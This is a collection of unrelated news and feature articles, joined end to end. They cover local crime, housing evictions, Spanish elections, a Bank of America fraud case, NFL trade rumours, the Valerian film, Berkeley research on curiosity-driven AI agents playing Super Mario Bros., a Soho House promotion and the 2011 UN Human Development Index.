A Florida woman is facing a felony rap after she allegedly bit her 16-year-old daughter’s breast during a dispute in the family’s Vero Beach home, cops report.
According to investigators, Joy Young, 38, was quarreling with her offspring, Diamond LaCrystal Simmons, last month when the dispute turned violent. Simmons told police she was arguing with her mother “about Young trying to collect social security for Diamond’s new born baby.”
Simmons’s two-month-old was asleep on a bed while its mother and grandmother fought, according to an Indian River County Sheriff’s Office report.
Simmons claimed that Young scratched her several times in the face, and then “bit her on the right breast in the nipple area, causing the skin to tear and also bleed.” A cop who responded to the family’s home reported that Simmons had visible scratches on her face and “also had a large blood stain on her shirt” from where she said her mother bit her.
Young told police that she argued with her daughter because “she (Diamond) is never home and she (Young) always has to watch the baby.”
Charged with child abuse, Young was booked into the county jail, where she posed for the above mug shot. Now free on her own recognizance, she is scheduled for an August 20 arraignment in Circuit Court.Cloverlawn and Schoolcraft - Detroit Google Maps Verina Hunter has lived at the corner of Cloverlawn and Schoolcraft in Detroit for more than 44 years, but parties held by squatters that moved into a vacant house next door are making her mad.
Hunter told The Detroit News the group that took possession of her neighbors old house are so bold they have friends over and hang out on the front porch drinking and causing trouble. "It's just bad," she said.
She's not alone in her opinion of Detroit's suddenly surging squatters' scene. With one in 339 homes foreclosed upon last year alone, the number of annual complaints against unauthorized occupants has tripled to nearly one a day.
Detroit has more than 100,000 vacant properties that where once people are in -- it can take months to get them out -- if anyone bothers to do it at all.
By Michigan law only the property owner has the right to challenge occupation of a structure and with the backlog of foreclosures, combined the uninterrupted flow of new vacancies, squatters are largely being left alone.
Residents say unauthorized dwellers range from parents with no other place to turn, to groups of young people and criminals, who shop the streets looking for the nicest place to party and live.
Some residents are grateful the homes are being kept from gross disrepair and stripped of materials, while others like Verina Hunter just want to live in peace.
Regardless, with winter coming and tens of thousands of homes empty, Detroit's squatters aren't going anywhere anytime soon.
Check out these 100 homes Detroit was paying people to take from the city >
Read more posts like this here >They paid their rent on time for years, maybe decades, and got along with both neighbors and the landlord – but they’re still getting evicted. Stephanie Chuang reports. (Published Thursday, Oct. 24, 2013)
They paid their rent on time for years, maybe decades, and got along with both neighbors and the landlord – but they’re still getting evicted.
Hundreds of San Francisco tenants are getting forced out through what’s known as an “Ellis Act” eviction. The act is state law, allowing property owners to take the building off the rental market, essentially forcing out the renters – people like Jeremy Mykaels.
“I felt helpless, frustrated,” said Mykaels, a 63-year-old on permanent disability who’s lived in the same Castro apartment for almost 20 years. “Also not really understanding why local government didn’t do anything about it.”
His story was echoed in Ana Gutierrez, who said she’s lived in the Mission for 35 years. Now she’s forced to find where to live by November.
“I don’t know where I’m going to go. I’m not sure what’s going to happen with my situation, and I’m incredibly stressed out,” Gutierrez said through a translator.
For Mark McFarland, this is also a daily fight. The staff attorney at the Tenderloin Housing Clinic said the number of Ellis Act evictions have shot up tenfold in the last year.
“What we’re seeing more and more is because of the housing market, we see real estate speculators who have no interest in being an actual landlord, purchasing properties and immediately serving tenants with Ellis Act eviction notices,” said McFarland.
He said those who need the most protection are the elderly and those with disabilities.
“I have another client right down the street, she is severely disabled, she can’t leave her apartment,” he described. “She raised her family there and has been there since 1978, and her notice will expire next May.”
This gentrification has been evident across the city, but tenant rights groups pointed to the Mission and North Beach as two with the highest rates of evictions. Thursday morning, tenant rights groups including San Francisco Tenants Union, Asian Americans Advancing Justice, and Just Cause, banned together on the steps of City Hall to announce proposals to fight the evictions.
One of them was authored by Supervisor John Avalos. His ordinance, passed by the planning commission today, is a move to deter so-called real estate speculators from wanting to buy up rental properties and kick out the long-time tenants.
“When they’re seeking approval at the planning commission, if there’s been a no-fault eviction on the unit, we want to put a moratorium on that for ten years,” he explained. “They won’t get approval for converting units or demolishing units or merging units so they can actually resell the property.”
But Janan New, executive director of the San Francisco Apartment Association, said this has been an unfair characterization of the Ellis Act as a tool for landlords and property owners.
“That’s a last resort for a property owner because that Ellis Act is a cloud on the title for the rest of the life of the building,” said New.
She also added that people who rent must realize that it’s part of the process: the people who own the property are doing so as an investment. If they want to leave the rental market or simply make a profit in a hot real estate market, she said, they should be allowed to.
For Avalos, it’s about weaving “humanity” in the process.
“I understand people want to make a living, but we shouldn’t be making a living extorting the housing people have been living in for many, many years,” he said. “Now we’re seeing long-term residents, teachers, immigrants, LGBT people, Chinese, Latino, who are getting evicted from their homes. Some of them end up in our streets, some of them end up living in our parks.”
Avalos’ ordinance goes before the Board of Supervisors next, likely in mid-November. There are other proposals to help counter Ellis Act evictions, including increasing “relocation” costs, which is what’s paid out to tenants who’ve been evicted, or to give them higher priority in housing decisions in the city.By Alyssa McMurtry
MADRID
For the first time in Spanish national elections the traditional bipartisan system appears to be coming to an end.
With the poll less than two weeks away, two new parties are gaining momentum at the expense of the Socialists and the ruling People’s Party.
The left-wing Podemos Party, which was born out of last year’s protests against inequality and corruption, and the socially liberal but free market-loving Cuidadanos Party are set to make unprecedented gains on Dec. 20.
It will be the first time in Spain’s democratic era that four parties have been fighting over 10 to 30 percent of votes and whichever party wins is expected to do so with less than 30 per cent of the vote.
Whether or not the winning party will govern, depending on potential pacts, is yet another novelty in this year’s election.
Traditionally, the Spanish Socialist Workers’ Party or the right-leaning People’s Party, which currently governs under Prime Minister Mariano Rajoy, have dominated the Spanish political scene. However, major corruption scandals have rocked both parties and voters are increasingly turning to the newcomers.
The most recent polls, released Wednesday suggest that Rajoy’s party will win reelection but only as a minority government with around 27.5 percent of the vote, Cuidadanos would overtake the Spanish Socialist Worker’s Party (PSOE) for second, with 21.6 per cent of the vote, and Podemos would come in fourth with 17.4 per cent.
Over recent months, candidates have fiercely debated and presented their plans for economic recovery, education, transparency, foreign policy and social security. The looming issue of Catalan separatism has also become a hot issue.
Two debates with all major candidates, excluding Rajoy, have taken place. The prime minister has declined all invitations to debate except against Socialist leader Pedro Sanchez, which will take place Monday.
Spain was hit hard by the 2008 financial crisis and still suffers the second highest unemployment rate in the EU at 21 per cent.
The People’s Party points to improving employment as well as a general economic recovery over the last four years as reasons to put them back in office and these have been the main focus of its campaign. Stability, they say, is the best way.
The Socialists have been critical of austerity measures taken by Rajoy’s government and have pledged to increase the comfort of those in the middle and lower income brackets, while still working with the EU.
Podemos is campaigning along a similar philosophy of the left-wing Syriza alliance in Greece, promising to cut back on austerity and increase social welfare.
Cuidadanos are talking about working with Europe in a pragmatic way. While they are not as socially conservative as the People’s Party, they support free-market capitalism in a similar way.
With a large portion of voters still undecided, the next days will be critical for politicians on all four sides.NEW YORK (Reuters) - The U.S. government urged that Bank of America Corp pay $863.6 million in damages after a federal jury found it liable for fraud over defective mortgages sold by its Countrywide unit.
A sign for a Bank of America office is pictured in Burbank, California August 19, 2011. REUTERS/Fred Prouser
In a filing late Friday in the U.S. District Court in Manhattan, the government also asked for penalties against Rebecca Mairone, a former midlevel executive at the bank’s Countrywide unit who the jury also found liable, “commensurate with her ability to pay.”
The government said the penalties were necessary to punish the bank and Mairone “and to send a clear and unambiguous message that mortgage fraud for profit will not be tolerated.”
Bank of America and Mairone were each found liable for defrauding government-controlled mortgage companies Fannie Mae and Freddie Mac through the sale of shoddy loans purchased from Countrywide in 2007 and 2008.
The case centered on a mortgage lending process at Countrywide, which Bank of America bought in July 2008, known as the “High Speed Swim Lane,” or alternatively “HSSL” or “Hustle.”
The government said Countrywide’s program emphasized and rewarded employees for the quantity rather than the quality of loans produced, and eliminated checkpoints designed to ensure that loans were sound.
The penalties the government requested are slightly higher than the amount lawyers in the office of Manhattan U.S. Attorney Preet Bharara had previously indicated they would seek, $848.2 million. The amount is based on the gross loss Fannie Mae and Freddie Mac incurred on the HSSL loans, the government said.
Bank of America, the second-largest U.S. bank, has previously said it is evaluating its options for appeal. It is scheduled to respond to the government’s penalty request by November 20.
“We believe the filing overstates the volume of loans and the appropriate measure of damages arising from one narrow Countrywide program that lasted several months and ended before Bank of America acquired the company,” Lawrence Grayson, a spokesman for the bank, said Saturday.
In its filing, the government did not said it was holding off on recommending an amount to penalize Mairone until after it analyzed a financial disclosure form she provided Friday. The government also raised the question of whether Bank of America may indemnify her for the penalty.
Mairone joined JPMorgan Chase & Co after leaving the bank. She has denied wrongdoing.
“We intend, in our filing, to argue against the imposition of any penalty,” Marc Mukasey, Mairone’s lawyer, said in an email Saturday.
Penalties will be assessed by U.S. District Judge Jed Rakoff, who presided over the four-week trial in Manhattan.
The October 23 verdict was a major victory for the U.S. Department of Justice, which along with other regulators has been criticized by investors, politicians and others for failing to hold banks and individuals accountable for their roles in events leading up to the 2008 financial crisis.
Bank of America paid $2.5 billion for Countrywide, but analysts have said that acquisition has since cost the Charlotte, North Carolina-based bank tens of billions of dollars for litigation, loan repurchases and writedowns.
In October, Bank of America disclosed that staff of an unspecified U.S. Attorney’s office plan to recommend that the Justice Department file a civil action against the bank related to the securitization of mortgages.
And in August, the government filed two civil lawsuits in North Carolina accusing the bank of understating the risks of about $850 million of mortgage securities. The bank moved to dismiss those case Friday.
The Hustle case, like some other financial crisis cases recently pursued by the government, was brought under the Financial Institutions Reform, Recovery, and Enforcement Act, a law passed after the 1980s savings-and-loan scandals.
That law carries a lower burden of proof than criminal cases, and a 10-year statute of limitations in which to bring cases, twice as long as in typical securities fraud cases.
The case is U.S. ex rel O’Donnell v. Bank of America Corp et al, U.S. District Court, Southern District of New York, No. 12-01422.The Green Bay Packers are without question one of the top teams in the NFC heading into the 2017 NFL season. Even without seeing what kind of talent they come away with in the 2017 NFL Draft, the Packers have put together a roster that should compete for a Super Bowl appearance.
Mike McCarthy still has a few holes on the roster, including the cornerback position. Green Bay did go out and sign Davon House in free agency, who they are hoping can step up and make a big impact this season. That move alone will not secure the position, and Ted Thompson might be interested in making another move should that move appear.
Over the last couple of weeks, rumors have been swirling around one of the best cornerbacks in the NFL. His name is Richard Sherman. Could Sherman end up being a trade target for the Packers if they truly want to make a splash at a position of need?
At this point in time, it appears that Seattle will want a first-round pick and a mid-round pick in return for Sherman. That may be a bit of a steep asking price, but the Packers likely wouldn’t get a better impact player with their first round pick than Sherman would be. Winning a Super Bowl is within reach for the Packers, and Sherman could be the piece that pushes them over the top.
null
Last season with the Seahawks, Sherman ended up recording 58 tackles, four interceptions, and 13 defended passes. Those numbers show just how dominant Sherman is still capable of being. He also made quarterbacks second guess throwing his way each and every game.
Sherman is 29-years-old and heading into the last chapter of the prime of his career. He likely has four or five years left playing at an elite level at the most.
Green Bay holds the No. 29 overall pick in the draft this year and there are a few potential targets for them. There are a few corners that could be the type of players that the Packers need to bring in, but no draft pick is guaranteed to help take the Packers to another championship.
Aaron Rodgers isn’t getting any younger, and the Packers’ window is slowly closing. He still has more than a few years of elite football left to play, but Green Bay cannot afford to keep wasting his prime. It has become abundantly clear that he cannot win another Super Bowl by powering the team himself.
null
So to answer the question, could the Packers look to acquire Sherman from the Seahawks this offseason?
More than likely, Thompson will not look to make a blockbuster trade for a player like Sherman at this point in the offseason. If the price came down a bit away from the first-round pick, the Packers would likely have some level of interest in acquiring Sherman.
Needless to say, there are plenty of other teams that would make sense as potential landing spots for Sherman. One of those teams is the Dallas Cowboys, who the Inquisitr previously broke down as a team that could trade for Sherman. In addition to the Cowboys, there are probably at least 10-15 teams that have interest and the ability to make a deal for Sherman.
All of that being said, Sherman will likely end up sticking with the Seahawks for the 2017 season. Seattle will likely have offers on the table come draft day, but unless something changes, he will not be traded.
Do you think the Green Bay Packers should consider making a run at acquiring Richard Sherman? Which teams do you think should pursue a trade with the Seahawks? Let us know your thoughts in the comment box below!
[Featured Image by Gregory Payan/AP Images]Chaos and tragedy came to the English town of Norwich this weekend when a security threat compelled local law enforcement to close off a highway and sent citizens running for cover during a tense seven-hour standoff with three cows. The police were ultimately forced to shoot and kill the “distressed” bovines “in interests of public safety,” according to the @NorfolkPolice Twitter account.
The harrowing details speak for themselves. “Police received reports from members of the public of a cow loose on the A140 Ipswich Road of Norwich, in the area of the Holiday Inn, at about 5 p.m. on Saturday, October 10,” a Norfolk Constabulary spokesman said. “A short while later, it was established that a further two cows were also free in the road.”
With no other options available, the police opened fire on the first cow, after which it reportedly became “very angry” and “particularly motivated.” The second and third cows also proved to be significant threats, which the police attempted to eliminate with a second volley from their snipers. Both cows were shot, with one dying on the scene and one escaping.
A big storm reportedly complicated the police response, forcing authorities to lock down a long stretch of road for several hours to maintain public safety. A local with little understanding of the tactical situation on the ground said the road closure was “a bit much for a cow.”
The third rouge cow was found dead the next day, having succumbed to its wounds.
While the cows no longer pose a threat to the population of Norwich, police are now investigating how they escaped in the first place. We’ll bring you more updates as this breaking story continues to develop.Palestinians celebrate the signing of a national reconciliation deal, Gaza City, 4 May 2011. ZUMA Press/Newscom
“We have been expecting this day for the past four years now,” said 42-year-old Ahmad Kabaja in Gaza City’s Square of the Unknown Soldier on Wednesday. He had joined the throngs of Palestinians celebrating the Hamas-Fatah reconciliation deal that was signed by faction leaders in Cairo that same day. “God willing, we will see a real reconciliation on the ground this time, unlike previous times. We hope the will of our people will be overwhelming in the end of the day.”
Hamas and Fatah agreed to establish a “national unity government” with a prime minister chosen by consensus; reactivation of the Palestinian Legislative Council in which Hamas won a majority of seats in 2006; preparation for elections in the West Bank and Gaza Strip in |
to fit. I'm not saying it's not good for innovation - we need to go through these things, and chain ourselves to some constrains - it's always good for creativity. It's useful. But I do dream of the day when we can get rid of the technology, and just think about the content.""I'm arrogant enough to think that I can actually do it today," he laughs. "I'll probably just be stuck in the same problems tomorrow - but it's a long path to growing up as an industry. I don't even know if I'll still be making games in 30 years, but I look forward to that time."Wondering what to expect from 'The Fifth Element' director's comic book epic? Cara Delevingne, Dane DeHaan and lots of blue screen, for now.
It's more than a year until audiences will get a chance to see the finished Valerian, Luc Besson's return to high space opera sci-fi following 1997's The Fifth Element, but in the meantime, the director is offering tantalizing teases of what to expect.
The movie — an adaptation of a 1960s French comic strip about a time traveling cop protecting the timestream created by Pierre Christin and Jean-Claude Mezieres — features an eclectic all-star cast including Ethan Hawke, Rihanna, Herbie Hancock, Suicide Squad's Cara Delevingne and Clive Owen. Dane DeHaan will play the title role.
Besson is writing and directing the adaptation, currently in production, as well as using social media to act as the project's hype-man, sharing images of sets and cast on Instagram:
Day 4 Happy actors!!! A photo posted by @lucbesson on Jan 8, 2016 at 10:08am PST
DAY 12 Welcome to planet Kyrian! A photo posted by @lucbesson on Jan 20, 2016 at 1:06am PST
DAY 13 Creatures on Kyrian... A photo posted by @lucbesson on Jan 21, 2016 at 2:59am PST
End of 3rd week. A photo posted by @lucbesson on Jan 23, 2016 at 2:46am PST
DAY17 Lost in the desert.... A photo posted by @lucbesson on Jan 27, 2016 at 2:36am PST
DAY 19 Blue day..... A photo posted by @lucbesson on Jan 29, 2016 at 10:29am PST
More images can be found here. Valerian is scheduled for release July 21, 2017.You probably can’t remember what it feels like to play Super Mario Bros. for the very first time, but try to picture it. An 8-bit game world blinks into being: baby blue sky, tessellated stone ground, and in between, a squat, red-suited man standing still — waiting. He’s facing rightward; you nudge him farther in that direction. A few more steps reveal a row of bricks hovering overhead and what looks like an angry, ambulatory mushroom. Another twitch of the game controls makes the man spring up, his four-pixel fist pointed skyward. What now? Maybe try combining nudge-rightward and spring-skyward? Done. Then, a surprise: The little man bumps his head against one of the hovering bricks, which flexes upward and then snaps back down as if spring-loaded, propelling the man earthward onto the approaching angry mushroom and flattening it instantly. Mario bounces off the squished remains with a gentle hop. Above, copper-colored boxes with glowing “?” symbols seem to ask: What now?
This scene will sound familiar to anyone who grew up in the 1980s, but you can watch a much younger player on Pulkit Agrawal’s YouTube channel. Agrawal, a computer science researcher at the University of California, Berkeley, is studying how innate curiosity can make learning an unfamiliar task — like playing Super Mario Bros. for the very first time — more efficient. The catch is that the novice player in Agrawal’s video isn’t human, or even alive. Like Mario, it’s just software. But this software comes equipped with experimental machine-learning algorithms designed by Agrawal and his colleagues Deepak Pathak, Alexei A. Efros and Trevor Darrell at the Berkeley Artificial Intelligence Research Lab for a surprising purpose: to make a machine curious.
“You can think of curiosity as a kind of reward which the agent generates internally on its own, so that it can go explore more about its world,” Agrawal said. This internally generated reward signal is known in cognitive psychology as “intrinsic motivation.” The feeling you may have vicariously experienced while reading the game-play description above — an urge to reveal more of whatever’s waiting just out of sight, or just beyond your reach, just to see what happens — that’s intrinsic motivation.
Humans also respond to extrinsic motivations, which originate in the environment. Examples of these include everything from the salary you receive at work to a demand delivered at gunpoint. Computer scientists apply a similar approach called reinforcement learning to train their algorithms: The software gets “points” when it performs a desired task, while penalties follow unwanted behavior.
But this carrot-and-stick approach to machine learning has its limits, and artificial intelligence researchers are starting to view intrinsic motivation as an important component of software agents that can learn efficiently and flexibly — that is, less like brittle machines and more like humans and animals. Approaches to using intrinsic motivation in AI have taken inspiration from psychology and neurobiology — not to mention decades-old AI research itself, now newly relevant. (“Nothing is really new in machine learning,” said Rein Houthooft, a research scientist at OpenAI, an independent artificial intelligence research organization.)
Such agents may be trained on video games now, but the impact of developing meaningfully “curious” AI would transcend any novelty appeal. “Pick your favorite application area and I’ll give you an example,” said Darrell, co-director of the Berkeley Artificial Intelligence lab. “At home, we want to automate cleaning up and organizing objects. In logistics, we want inventory to be moved around and manipulated. We want vehicles that can navigate complicated environments and rescue robots that can explore a building and find people who need rescuing. In all of these cases, we are trying to figure out this really hard problem: How do you make a machine that can figure its own task out?”
The Problem With Points
Reinforcement learning is a big part of what helped Google’s AlphaGo software beat the world’s best human player at Go, an ancient and intuitive game long considered invulnerable to machine learning. The details of successfully using reinforcement learning in a particular domain are complex, but the general idea is simple: Give a learning algorithm, or “agent,” a reward function, a mathematically defined signal to seek out and maximize. Then set it loose in an environment, which could be any real or virtual world. As the agent operates in the environment, actions that increase the value of the reward function get reinforced. With enough repetition — and if there’s anything that computers are better at than people, it’s repetition — the agent learns patterns of action, or policies, that maximize its reward function. Ideally, these policies will result in the agent reaching some desirable end state (like “win at Go”), without a programmer or engineer having to hand-code every step the agent needs to take along the way.
In other words, a reward function is the guidance system that keeps a reinforcement-learning-powered agent locked on target. The more clearly that target is defined, the better the agent performs — that is why many of them are currently tested on old video games, which often provide simple extrinsic reward schemes based on points. (The blocky, two-dimensional graphics are useful, too: Researchers can run and repeat their experiments quickly because the games are relatively simple to emulate.)
Yet “in the real world, there are no points,” said Agrawal. Computer scientists want to have their creations explore novel environments that don’t come preloaded with quantifiable objectives.
In addition, if the environment doesn’t supply extrinsic rewards quickly and regularly enough, the agent “has no clue whether it’s doing something right or wrong,” Houthooft said. Like a heat-seeking missile unable to lock onto a target, “it doesn’t have any way of [guiding itself through] its environment, so it just goes haywire.”
Moreover, even painstakingly defined extrinsic reward functions that can guide an agent to display impressively intelligent behavior — like AlphaGo’s ability to best the world’s top human Go player — won’t easily transfer or generalize to any other context without extensive modification. And that work must be done by hand, which is precisely the kind of labor that machine learning is supposed to help us sidestep in the first place.
Instead of a battery of pseudo-intelligent agents that can reliably hit specified targets like those missiles, what we really want from AI is more like an internal piloting ability. “You make your own rewards, right?” Agrawal said. “There’s no god constantly telling you ‘plus one’ for doing this or ‘minus one’ for doing that.”
Curiosity as Co-Pilot
Deepak Pathak never set out to model anything as airily psychological as curiosity in code. “The word ‘curiosity’ is nothing but saying, ‘a model which leads an agent to efficiently explore its environment in the presence of noise,’” said Pathak, a researcher in Darrell’s lab at Berkeley and the lead author of the recent work.
But in 2016, Pathak was interested in the sparse-rewards problem for reinforcement learning. Deep-learning software, powered by reinforcement learning techniques, had recently made significant gains in playing simple score-driven Atari games like Space Invaders and Breakout. But even slightly more complex games like Super Mario Bros. — which require navigating toward a goal distant in time and space without constant rewards, not to mention an ability to learn and successfully execute composite moves like running and jumping at the same time — were still beyond an AI’s grasp.
Pathak and Agrawal, working with Darrell and Efros, equipped their learning agent with what they call an intrinsic curiosity module (ICM) designed to pull it forward through the game without going haywire (to borrow Houthooft’s term). The agent, after all, has absolutely no prior understanding of how to play Super Mario Bros. — in fact, it’s less like a novice player and more like a newborn infant.
Indeed, Agrawal and Pathak took inspiration from the work of Alison Gopnik and Laura Schulz, developmental psychologists at Berkeley and at the Massachusetts Institute of Technology, respectively, who showed that babies and toddlers are naturally drawn to play with objects that surprise them the most, rather than with objects that are useful to achieving some extrinsic goal. “One way to [explain] this kind of curiosity in children is that they build a model of what they know about the world, and then they conduct experiments to learn more about what they don’t know,” Agrawal said. These “experiments” can be anything that generates an outcome which the agent (in this case, an infant) finds unusual or unexpected. The child might start with random limb movements that cause new sensations (known as “motor babbling”), then progress up to more coordinated behaviors like chewing on a toy or knocking over a pile of blocks to see what happens.
In Pathak and Agrawal’s machine-learning version of this surprise-driven curiosity, the AI first mathematically represents what the current video frame of Super Mario Bros. looks like. Then it predicts what the game will look like several frames hence. Such a feat is well within the powers of current deep-learning systems. But then Pathak and Agrawal’s ICM does something more. It generates an intrinsic reward signal defined by how wrong this prediction model turns out to be. The higher the error rate — that is, the more surprised it is — the higher the value of its intrinsic reward function. In other words, if a surprise is equivalent to noticing when something doesn’t turn out as expected — that is, to being wrong — then Pathak and Agrawal’s system gets rewarded for being surprised.
This internally generated signal draws the agent toward unexplored states in the game: informally speaking, it gets curious about what it doesn’t yet know. And as the agent learns — that is, as its prediction model becomes less and less wrong — its reward signal from the ICM decreases, freeing the agent up to maximize the reward signal by exploring other, more surprising situations. “It’s a way to make exploration go faster,” Pathak said.
This feedback loop also allows the AI to quickly bootstrap itself out of a nearly blank-slate state of ignorance. At first, the agent is curious about any basic movement available to its onscreen body: Pressing right nudges Mario to the right, and then he stops; pressing right several times in a row makes Mario move without immediately stopping; pressing up makes him spring into the air, and then come down again; pressing down has no effect. This simulated motor babbling quickly converges on useful actions that move the agent forward into the game, even though the agent doesn’t know it.
For example, since pressing down always has the same effect — nothing — the agent quickly learns to perfectly predict the effect of that action, which cancels the curiosity-supplied reward signal associated with it. Pressing up, however, has all kinds of unpredictable effects: Sometimes Mario goes straight up, sometimes in an arc; sometimes he takes a short hop, other times a long jump; sometimes he doesn’t come down again (if, say, he happens to land on top of an obstacle). All of these outcomes register as errors in the agent’s prediction model, resulting in a reward signal from the ICM, which makes the agent keep experimenting with that action. Moving to the right (which almost always reveals more game world) has similar curiosity-engaging effects. The impulse to move up and to the right can clearly be seen in Agrawal’s demo video: Within seconds, the AI-controlled Mario starts hopping rightward like a hyperactive toddler, causing ever-more-unpredictable effects (like bumping against a hovering brick, or accidentally squishing a mushroom), all of which drive further exploration.
“By using this curiosity, the agent learns how to do all the things it needs to explore the world, like jump and kill enemies,” explained Agrawal. “It doesn’t even get penalized for dying. But it learns to avoid dying, because not-dying maximizes its exploration. It’s reinforcing itself, not getting reinforcement from the game.”
Avoiding the Novelty Trap
Artificial curiosity has been a subject of AI research since at least the early 1990s. One way of formalizing curiosity in software centers on novelty-seeking: The agent is programmed to explore unfamiliar states in its environment. This broad definition seems to capture an intuitive understanding of the experience of curiosity, but in practice it can cause the agent to become trapped in states that satisfy its built-in incentive but prevent any further exploration.
For example, imagine a television displaying nothing but static on its screen. Such a thing would quickly engage the curiosity of a purely novelty-seeking agent, because a square of randomly flickering visual noise is, by definition, totally unpredictable from one moment to the next. Since every pattern of static appears entirely novel to the agent, its intrinsic reward function will ensure that it can never cease paying attention to this single, useless feature of the environment — and it becomes trapped.
It turns out that this type of pointless novelty is ubiquitous in the kind of richly featured environments — virtual or physical — that AI must learn to cope with to become truly useful. For example, a self-driving delivery vehicle equipped with a novelty-seeking intrinsic reward function might never make it past the end of the block. “Say you’re moving along a street and the wind is blowing and the leaves of a tree are moving,” Agrawal said. “It’s very, very hard to predict where every leaf is going to go. If you’re predicting pixels, these kinds of interactions will cause you to have high prediction errors, and make you very curious. We want to avoid that.”
Agrawal and Pathak had to come up with a way to keep their agent curious, but not too curious. Predicting pixels — that is, using deep learning and computer vision to model an agent’s visual field in its entirety from moment to moment — makes it hard to filter out potential distractions. It’s computationally expensive, too.
So instead, the Berkeley researchers engineered their Mario-playing agent to translate its visual input from raw pixels into an abstracted version of reality. This abstraction incorporates only features of the environment that have the potential to affect the agent (or that the agent can influence). In essence, if the agent can’t interact with a thing, it won’t even be perceived in the first place.
Using this stripped-down “feature space” (versus the unprocessed “pixel space”) not only simplifies the agent’s learning process, it also neatly sidesteps the novelty trap. “The agent can’t get any benefit out of modeling, say, clouds moving overhead, to predict the effects of its actions,” explained Darrell. “So it’s just not going to pay attention to the clouds when it’s being curious. The previous versions of curiosity — at least some of them — were really only considering pixel-level prediction. Which is great, except for when you suddenly pass a very unpredictable but very boring thing.”
The Limits of Artificial Curiosity
Darrell conceded that this model of curiosity isn’t perfect. “The system learns what’s relevant, but there’s no guarantee it’ll always get it right,” he said. Indeed, the agent makes it only about halfway through the first level of Super Mario Bros. before getting trapped in its own peculiar local optimum. “There’s this big gap which the agent has to jump across, which requires executing 15 or 16 continuous actions in a very, very specific order,” Agrawal said. “Because it is never able to jump this gap, it dies every time by going there. And when it learns to perfectly predict this outcome, it stops becoming curious about going any further in the game.” (In the agent’s defense, Agrawal notes that this flaw emerges because the AI can press its simulated directional controls only in discrete intervals, which makes certain moves impossible.)
Ultimately, the problem with artificial curiosity is that even researchers who have studied intrinsic motivation for years still can’t precisely define what curiosity is. Paul Schrater, a neuroscientist who leads the Computational Perception and Action Lab at the University of Minnesota, said that the Berkeley model “is the most intelligent thing to do in the short term to get an agent to automatically learn a novel environment,” but he thinks it has less to do with “the intuitive concept of curiosity” than with motor learning and control. “It’s controlling things that are beneath cognition, and more in the details of what the body does,” he said.
To Schrater, the Berkeley team’s novel idea comes in attaching their intrinsic curiosity module to an agent that perceives Super Mario Bros. as a feature space rather than as sequential frames of pixels. He argues that this approach may roughly approximate the way our own brains “extract visual features that are relevant for a particular kind of task.”
Curiosity may also require an agent to be at least somewhat embodied (virtually or physically) within an environment to have any real meaning, said Pierre-Yves Oudeyer, a research director at Inria in Bordeaux, France. Oudeyer has been creating computational models of curiosity for over a decade. He pointed out that the world is so large and rich that an agent can find surprises everywhere. But this isn’t itself enough. “If you’ve got a disembodied agent using curiosity to explore a large feature space, its behavior is going to just end up looking like random exploration because it doesn’t have any constraints on its actions,” Oudeyer said. “The constraints of, for example, a body enable a simplification of the world.” They focus the attention and help to guide exploration.
But not all embodied agents need intrinsic motivation, either — as the history of industrial robotics makes clear. For tasks that are simpler to specify — say, shuttling cargo from place to place using a robot that follows a yellow line painted on the floor — adding curiosity to the mix would be machine-learning overkill.
“You could just give that kind of agent a perfect reward function — everything it needs to know in advance,” Darrell explained. “We could solve that problem 10 years ago. But if you’re putting a robot in a situation that can’t be modeled in advance, like disaster search-and-rescue, it has to go out and learn to explore on its own. That’s more than just mapping — it has to learn the effects of its own actions in the environment. You definitely want an agent to be curious when it’s learning how to do its job.”
AI is often informally defined as “whatever computers can’t do yet.” If intrinsic motivation and artificial curiosity are methods for getting agents to figure out tasks that we don’t already know how to automate, then “that’s something I’m pretty sure we’d want any AI to have,” said Houthooft, the OpenAI researcher. “The difficulty is in tuning it.” Agrawal and Pathak’s Mario-playing agent may not be able to get past World 1-1 on its own. But that’s probably what tuning curiosity — artificial or otherwise — will look like: a series of baby steps.
This article was reprinted on Wired.com and Spektrum.de.Soho House – Exclusive in New York
Looking for a quiet place to rest in the middle of New York buzzy routine? New York Design Agenda found the perfect place for you in Manhattan.
Soho House New York is a private members’ club with 24 unique rooms that mix “cozy English townhouse with cool Manhattan loft” design. A stay here is worth it in the summer months when the roof deck pool is open! If you like the meat-packing area and a “buzzy” atmosphere – this could be your special spot. Soho House New York offers so much more than a typical hotel.
The hotel is great for both business and pleasure. The 5th floor drawing room is perfect for business meetings, working away solo, and additional meeting rooms can be booked. Fun for a weekend of shopping, some of the city’s best restaurants and cafes are within minutes by foot. Whether with a lover or solo, Soho House New York provides an environment that is comfortable with a relaxed sense of elegance.
Exquisite sunshining views from the rooftop, the Soho house in New York is also a perfect spot to have a glamorous dinner in a truly madly deeply vintage dining room.
Covering six floors, it is built over 45,000 square feet of an old warehouse building in the Meatpacking District. The club offers extensive facilities; the Restaurant, Club Bar, Drawing Room, Pantry Bar, a 44-seater cinema and a heated rooftop pool. The fourth and fifth floors each house private hire spaces; the Club Room, Screening Room and Library.
In addition, Soho House New York runs as a hotel with 26 spacious bedrooms – each bespoke-designed. Each bedroom features large beds and walk-in rainforest showers. Treats include a full range of Cowshed products in the bathrooms.
Finally the view from the restaurant… a quick preview from the time where the Mad Men sold the dreams and richness of New York in the 60s and 70s. A fantastic and revival space to live and enjoy in New York.If global development were a horse race, would you put your money on the slow-and-steady contenders or a fast new contender? With this year's results just in, the old stalwart Scandinavian countries are still in the lead, according to the 2011 United Nations' Human Development Index, published Wednesday.
With Norway leading the charge in this annual assessment of national education, health and income levels, most of the other 186 countries and territories evaluated in this year's report are also on the up and up. The U.S. ranks fourth—with Australia and the Netherlands inching out just ahead.
When the national numbers, based on factors such as life expectancy, poverty and years spent in school, are recalculated to account for internal inequalities, however, the U.S. falls to the 23rd spot—the largest drop of any of the top 85 countries in this analysis.
"The Inequality-adjusted Human Development Index helps us assess better the levels of development for all segments of society, rather than for just the mythical 'average' person," Milorad Kovacevic, the lead statistician for the report, said in a prepared statement. "We consider health and education distribution to be just as important in this equation as income. And the data show great inequalities."
The U.S.'s slide is due primarily to income inequality (a phrase that's now peppering the headlines courtesy of the recent Occupy Wall Street protests nationwide). But, the report suggests, it also took a hit from the uneven distribution of health care.
The U.S. spends 7.1 percent of its gross domestic product (GDP) on health (U.S. public spending on education is 5.5 percent). And although life expectancy is now 78.5 years in the U.S., it is still years off from the corresponding statistics in Australia and the Netherlands, which both have life expectancies of more than 80 years—and spend less of their respective GDPs on health costs.
